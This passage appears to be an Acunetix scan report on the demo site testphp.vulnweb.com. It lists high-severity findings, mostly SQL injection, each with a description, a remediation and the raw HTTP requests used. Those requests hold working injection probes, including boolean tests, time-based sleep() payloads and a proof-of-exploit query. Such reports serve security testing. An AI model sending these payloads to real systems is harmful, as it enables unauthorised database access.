User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive
```

Web Server	
Alert group	**Macromedia Dreamweaver remote database scripts (verified)**
Severity	High

Description	Macromedia Dreamweaver has created a directory (_mmServerScripts or _mmDBScripts) that contains scripts for testing database connectivity. One of these scripts (mmhttpdb.php or mmhttpdb.asp) can be accessed without user ID or password and contains numerous operations, such as listing Datasource Names or executing arbitrary SQL queries.
Recommendations	Remove these directories from production systems.
Alert variants	
Details	Macromedia Dreamweaver scripts found at : //_mmServerScripts/MMHTTPDB.php

```
GET //_mmServerScripts/MMHTTPDB.php HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Web Server	
Alert group	**nginx SPDY heap buffer overflow**
Severity	High
Description	A heap-based buffer overflow in the SPDY implementation in nginx 1.3.15 before 1.4.7 and 1.5.x before 1.5.12 allows remote attackers to execute arbitrary code via a crafted request. The problem affects nginx compiled with the ngx_http_spdy_module module (which is not compiled by default) and without --with-debug configure option, if the "spdy" option of the "listen" directive is used in a configuration file.
Recommendations	Upgrade nginx to the latest version or apply the patch provided by the vendor.
Alert variants	
Details	Version detected: nginx/1.4.1.

Web Server	
Alert group	**PHP allow_url_fopen enabled (verified)**
Severity	High
Description	The PHP configuration directive allow_url_fopen is enabled. When enabled, this directive allows data retrieval from remote locations (web site or FTP server). A large number of code injection vulnerabilities reported in PHP-based web applications are caused by the combination of enabling allow_url_fopen and bad input filtering. allow_url_fopen is enabled by default.
Recommendations	You can disable allow_url_fopen from either php.ini (for PHP versions newer than 4.3.4) or .htaccess (for PHP versions up to 4.3.4). **php.ini** allow_url_fopen = 'off' **.htaccess** php_flag allow_url_fopen off

Alert variants	
Details	Current setting is : **allow_url_fopen = On**

/admin/create.sql	
Alert group	**Possible database backup**
Severity	High
Description	Manual confirmation is required for this alert. It looks like this file contains a database backup/dump. A database backup contains a record of the table structure and/or the data from a database and is usually in the form of a list of SQL statements. A database backup is most often used for backing up a database so that its contents can be restored in the event of data loss. This information is highly sensitive and should never be found on a production system.
Recommendations	Sensitive files such as database backups should never be stored in a directory that is accessible to the web server. As a workaround, you could restrict access to this file.
Alert variants	
Details	

```
GET /admin/create.sql HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Web Server	
Alert group	**SQL injection (verified)**
Severity	High
Description	SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.
Recommendations	Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.
Alert variants	
Details	Cookie input **login** was set to **1ACUSTART'"8oNWeACUEND**

```
GET / HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: https://www.google.com/search?hl=en&q=testing

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Cookie: login=1ACUSTART'"8oNWeACUEND

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

Connection: Keep-alive
```

/AJAX/infoartist.php	
Alert group	**SQL injection (verified)**
Severity	High
Description	SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.
Recommendations	Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.
Alert variants	

Details	URL encoded GET input **id** was set to **1 AND 3*2*1=6 AND 360=360** Tests performed: • 1*1 => **TRUE** • 1*360*355*0 => **FALSE** • (366-360-5) => **TRUE** • 1/1 => **TRUE** • 1/0 => **FALSE** • 1/(3*2-5) => **TRUE** • 1 AND 5*4=20 AND 360=360 => **TRUE** • 1 AND 5*4=21 AND 360=360 => **FALSE** • 1 AND 5*6<26 AND 360=360 => **FALSE** • 1 AND 7*7>48 AND 360=360 => **TRUE** • 1 AND 3*2*0=6 AND 360=360 => **FALSE** • 1 AND 3*2*1=6 AND 360=360 => **TRUE** Original value: **1** **Proof of Exploit** SQL query - SELECT database() `acuart`

```
GET /AJAX/infoartist.php?id=1%20AND%203*2*1=6%20AND%20360=360 HTTP/1.1

X-Requested-With: XMLHttpRequest

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest;mycookie=3

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/AJAX/infocateg.php	
Alert group	**SQL injection (verified)**
Severity	High
Description	SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.
Recommendations	Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.
Alert variants	

Details	URL encoded GET input **id** was set to **1 AND 3*2*1=6 AND 876=876** Tests performed: • 1*1 => **TRUE** • 1*876*871*0 => **FALSE** • (882-876-5) => **TRUE** • 1/1 => **TRUE** • 1/0 => **FALSE** • 1/(3*2-5) => **TRUE** • 1 AND 5*4=20 AND 876=876 => **TRUE** • 1 AND 5*4=21 AND 876=876 => **FALSE** • 1 AND 5*6<26 AND 876=876 => **FALSE** • 1 AND 7*7>48 AND 876=876 => **TRUE** • 1 AND 3*2*0=6 AND 876=876 => **FALSE** • 1 AND 3*2*1=6 AND 876=876 => **TRUE** Original value: **1** **Proof of Exploit** SQL query - SELECT database() `acuart`

```
GET /AJAX/infocateg.php?id=1%20AND%203*2*1=6%20AND%20876=876 HTTP/1.1

X-Requested-With: XMLHttpRequest

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest;mycookie=3

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/AJAX/infotitle.php	
Alert group	**SQL injection (verified)**
Severity	High
Description	SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.
Recommendations	Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.
Alert variants	

Details	URL encoded POST input **id** was set to **1 AND 3*2*1=6 AND 130=130** Tests performed: - 1*1 => **TRUE** - 1*130*125*0 => **FALSE** - (136-130-5) => **TRUE** - 1/1 => **TRUE** - 1/0 => **FALSE** - 1/(3*2-5) => **TRUE** - 1 AND 5*4=20 AND 130=130 => **TRUE** - 1 AND 5*4=21 AND 130=130 => **FALSE** - 1 AND 5*6<26 AND 130=130 => **FALSE** - 1 AND 7*7>48 AND 130=130 => **TRUE** - 1 AND 3*2*0=6 AND 130=130 => **FALSE** - 1 AND 3*2*1=6 AND 130=130 => **TRUE** Original value: **1** **Proof of Exploit** SQL query - SELECT database() `acuart`

```
POST /AJAX/infotitle.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest;mycookie=3

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 36

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



id=1%20AND%203*2*1=6%20AND%20130=130
```

/artists.php	
Alert group	**SQL injection (verified)**
Severity	High
Description	SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.

Recommendations	Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.
Alert variants	
Details	URL encoded GET input **artist** was set to **1ACUSTART'"wElGoACUEND**

```
GET /artists.php?artist=1ACUSTART'"wElGoACUEND HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/artists.php	
Alert group	**SQL injection (verified)**
Severity	High
Description	SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.
Recommendations	Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.
Alert variants	
Details	Cookie input **login** was set to **1ACUSTART'"BsdfTACUEND**

```
GET /artists.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: https://www.google.com/search?hl=en&q=testing

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Cookie: login=1ACUSTART'"BsdfTACUEND

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

Connection: Keep-alive
```

/cart.php	
Alert group	**SQL injection (verified)**
Severity	High
Description	SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.
Recommendations	Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.
Alert variants	
Details	URL encoded POST input **addcart** was set to **1ACUSTART'"LfRpBACUEND**

```
POST /cart.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 40

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



addcart=1ACUSTART'"LfRpBACUEND&price=500
```

/cart.php	
Alert group	**SQL injection (verified)**
Severity	High
Description	SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.
Recommendations	Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.
Alert variants	
Details	URL encoded GET input **del** was set to **1ACUSTART'"sbNCzACUEND**

```
GET /cart.php?del=1ACUSTART'"sbNCzACUEND HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/cart.php	
Alert group	**SQL injection (verified)**
Severity	High
Description	SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.
Recommendations	Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.
Alert variants	
Details	Cookie input **login** was set to **1ACUSTART'"uxXy4ACUEND**

```
GET /cart.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: https://www.google.com/search?hl=en&q=testing

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Cookie: login=1ACUSTART'"uxXy4ACUEND

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

Connection: Keep-alive
```

/cart.php	
Alert group	**SQL injection**
Severity	High
Description	SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.
Recommendations	Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.
Alert variants	
Details	URL encoded POST input **price** was set to **if(now()=sysdate(),sleep(6),0)** Tests performed: - if(now()=sysdate(),sleep(15),0) => **15.136** - if(now()=sysdate(),sleep(3),0) => **3.145** - if(now()=sysdate(),sleep(6),0) => **6.156** - if(now()=sysdate(),sleep(0),0) => **0.157** - if(now()=sysdate(),sleep(15),0) => **15.153** - if(now()=sysdate(),sleep(0),0) => **0.134** - if(now()=sysdate(),sleep(6),0) => **6.149** Original value: **500**

```
POST /cart.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 50

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



addcart=1&price=if(now()=sysdate()%2Csleep(6)%2C0)
```

/guestbook.php	
Alert group	**SQL injection (verified)**
Severity	High
Description	SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.
Recommendations	Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.
Alert variants	
Details	Cookie input **login** was set to **1ACUSTART'"sgruDACUEND**

```
GET /guestbook.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: https://www.google.com/search?hl=en&q=testing

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Cookie: login=1ACUSTART'"sgruDACUEND

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

Connection: Keep-alive
```

/listproducts.php	
Alert group	**SQL injection (verified)**
Severity	High
Description	SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.
Recommendations	Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.
Alert variants	
Details	URL encoded GET input **artist** was set to **1ACUSTART'"PA09UACUEND**

```
GET /listproducts.php?artist=1ACUSTART'"PA09UACUEND HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/listproducts.php	
Alert group	**SQL injection (verified)**
Severity	High
Description	SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.
Recommendations	Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.
Alert variants	
Details	URL encoded GET input **cat** was set to **1ACUSTART'"4exg5ACUEND**

```
GET /listproducts.php?cat=1ACUSTART'"4exg5ACUEND HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/listproducts.php	
Alert group	**SQL injection (verified)**
Severity	High
Description	SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.
Recommendations	Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.
Alert variants	
Details	Cookie input **login** was set to **1ACUSTART'"qmuLUACUEND**

```
GET /listproducts.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: https://www.google.com/search?hl=en&q=testing

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Cookie: login=1ACUSTART'"qmuLUACUEND

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

Connection: Keep-alive
```

/Mod_Rewrite_Shop/BuyProduct-3/	
Alert group	**SQL injection (verified)**
Severity	High
Description	SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.
Recommendations	Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.
Alert variants	
Details	

```
GET /Mod_Rewrite_Shop/BuyProduct-3/?id=1ACUSTART'"ACUEND HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

User-Agent: 1'"2000

referer: 1'"3000

client-ip: 1'"4000

x-forwarded-for: 1'"5000

accept-language: 1'"6000

via: 1'"7000

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

Connection: Keep-alive
```

/Mod_Rewrite_Shop/Details/color-printer/3/	
Alert group	**SQL injection (verified)**
Severity	High
Description	SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.
Recommendations	Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.
Alert variants	
Details	

```
GET /Mod_Rewrite_Shop/Details/color-printer/3/?id=1ACUSTART'"ACUEND HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

User-Agent: 1'"2000

referer: 1'"3000

client-ip: 1'"4000

x-forwarded-for: 1'"5000

accept-language: 1'"6000

via: 1'"7000

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

Connection: Keep-alive
```

/Mod_Rewrite_Shop/Details/network-attached-storage-dlink/1/	
Alert group	**SQL injection (verified)**
Severity	High
Description	SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.
Recommendations	Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.
Alert variants	
Details	

```
GET /Mod_Rewrite_Shop/Details/network-attached-storage-dlink/1/?id=1ACUSTART'"ACUEND
HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

User-Agent: 1'"2000

referer: 1'"3000

client-ip: 1'"4000

x-forwarded-for: 1'"5000

accept-language: 1'"6000

via: 1'"7000

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

Connection: Keep-alive
```

/Mod_Rewrite_Shop/Details/web-camera-a4tech/2/	
Alert group	**SQL injection (verified)**
Severity	High
Description	SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.
Recommendations	Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.
Alert variants	
Details	

```
GET /Mod_Rewrite_Shop/Details/web-camera-a4tech/2/?id=1ACUSTART'"ACUEND HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

User-Agent: 1'"2000

referer: 1'"3000

client-ip: 1'"4000

x-forwarded-for: 1'"5000

accept-language: 1'"6000

via: 1'"7000

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

Connection: Keep-alive
```

/product.php	
Alert group	**SQL injection (verified)**
Severity	High
Description	SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.
Recommendations	Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.
Alert variants	
Details	Cookie input **login** was set to **1ACUSTART'"2hLJVACUEND**

```
GET /product.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: https://www.google.com/search?hl=en&q=testing

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Cookie: login=1ACUSTART'"2hLJVACUEND

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

Connection: Keep-alive
```

/product.php	
Alert group	**SQL injection (verified)**
Severity	High
Description	SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.
Recommendations	Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.
Alert variants	
Details	URL encoded GET input **pic** was set to **1ACUSTART'"HdhEDACUEND**

```
GET /product.php?pic=1ACUSTART'"HdhEDACUEND HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

/search.php	
Alert group	**SQL injection (verified)**
Severity	High
Description	SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.
Recommendations	Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.
Alert variants	
Details	Cookie input **login** was set to **1ACUSTART'"9rELNACUEND**

```
GET /search.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: https://www.google.com/search?hl=en&q=testing

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Cookie: login=1ACUSTART'"9rELNACUEND

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

Connection: Keep-alive
```

/search.php	
Alert group	**SQL injection (verified)**
Severity	High
Description	SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.
Recommendations	Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.
Alert variants	
Details	URL encoded POST input **searchFor** was set to **1ACUSTART'"9BDCVACUEND**

```
POST /search.php?test=query HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 44

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



goButton=go&searchFor=1ACUSTART'"9BDCVACUEND
```

/search.php	
Alert group	**SQL injection (verified)**
Severity	High
Description	SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.
Recommendations	Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.
Alert variants	
Details	URL encoded GET input **test** was set to **1ACUSTART'"2qdbeACUEND**

```
POST /search.php?test=1ACUSTART'"2qdbeACUEND HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 25

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



goButton=go&searchFor=the
```

/secured/newuser.php	
Alert group	**SQL injection (verified)**
Severity	High
Description	SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.
Recommendations	Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.
Alert variants	
Details	URL encoded POST input **uuname** was set to **1ACUSTART'"dU78RACUEND**

```
POST /secured/newuser.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 205

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email.
tst&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-
0606&urname=ghovjnjv&uuname=1ACUSTART'"dU78RACUEND
```

/sendcommand.php	
Alert group	**SQL injection (verified)**
Severity	High
Description	SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.
Recommendations	Use parameterized queries when dealing with SQL queries that contains user input. Parameterized queries allows the database to understand which parts of the SQL query should be considered as user input, therefore solving SQL injection.
Alert variants	
Details	URL encoded POST input **cart_id** was set to **1ACUSTART'"9YkyyACUEND**

```
POST /sendcommand.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 83

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



